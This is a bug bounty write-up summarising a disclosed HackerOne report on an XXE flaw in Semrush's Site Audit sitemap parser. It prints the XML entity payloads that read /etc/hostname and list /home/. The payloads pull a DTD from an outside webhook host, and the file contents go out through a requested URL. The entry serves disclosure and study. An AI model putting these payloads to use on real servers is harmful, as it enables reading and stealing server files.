# XXE in Site Audit function exposing file and directory contents

Semrush Site Audit parsed user-supplied sitemap.xml with an XXE-vulnerable Java XML processor, enabling arbitrary file read and directory listing via OOB exfiltration.

- Payout: hidden
- Severity: critical
- Program: Semrush
- Found by: ajxchapman
- Disclosed: 2018-03-13
- Write-up quality: 7/10
- Original: https://hackerone.com/reports/312543
- Library page: https://bugbountylibrary.com/r/h1%3A312543
- Tags: area:web domain:web impact:data-leak kind:bounty platform:hackerone sev:critical tech:java technique:oob-exfil technique:source-review vuln:info-disclosure vuln:xxe

**Target:** Site Audit sitemap.xml parser (Java XML processor)
**Root cause:** The Site Audit crawler downloads a user-provided sitemap.xml and feeds it to a Java XML parser that resolves external DTDs/entities without disabling them.
**Steps:**
1. Create a project for a domain hosting a malicious `sitemap.xml` (e.g. `semrush.webhooks.pw`).
2. Set up a new Site Audit and set Crawl Source to 'Enter sitemap URL' pointing at the malicious sitemap.
3. Sitemap declares `<!ENTITY % goodies SYSTEM "file:///etc/hostname">` and `<!ENTITY % dtd SYSTEM "http://dtd.webhooks.pw/files/combine.dtd">` then `%dtd;`.
4. combine.dtd defines `<!ENTITY xxe "%goodies;">`; sitemap references `&xxe;` inside `<loc>http://location.webhooks.pw/resp/&xxe;</loc>`.
5. Start the Site Audit; the bot fetches the sitemap, resolves the entity, and requests the attacker URL with file contents in the path.
6. For directory listing, point `%goodies` at `file:///home/` to enumerate entries.
**How found:** Recognized that the sitemap URL is user-controlled input fed to a Java XML processor, then tested external DTD/entity resolution with an OOB webhook listener.
**Exploitation:** Attacker hosts a malicious sitemap.xml and a remote DTD, submits the sitemap URL to Site Audit; the SemrushBot-SA fetches it, resolves external entities, and exfiltrates file contents or directory listings out-of-band via a GET to the attacker's server path.
**Insight:** Any feature that ingests user-supplied XML (sitemaps, feeds, imports) via a server-side crawler is an XXE candidate; use a remote DTD with parameter entities to exfiltrate file contents in the URL path when in-band output isn't reflected.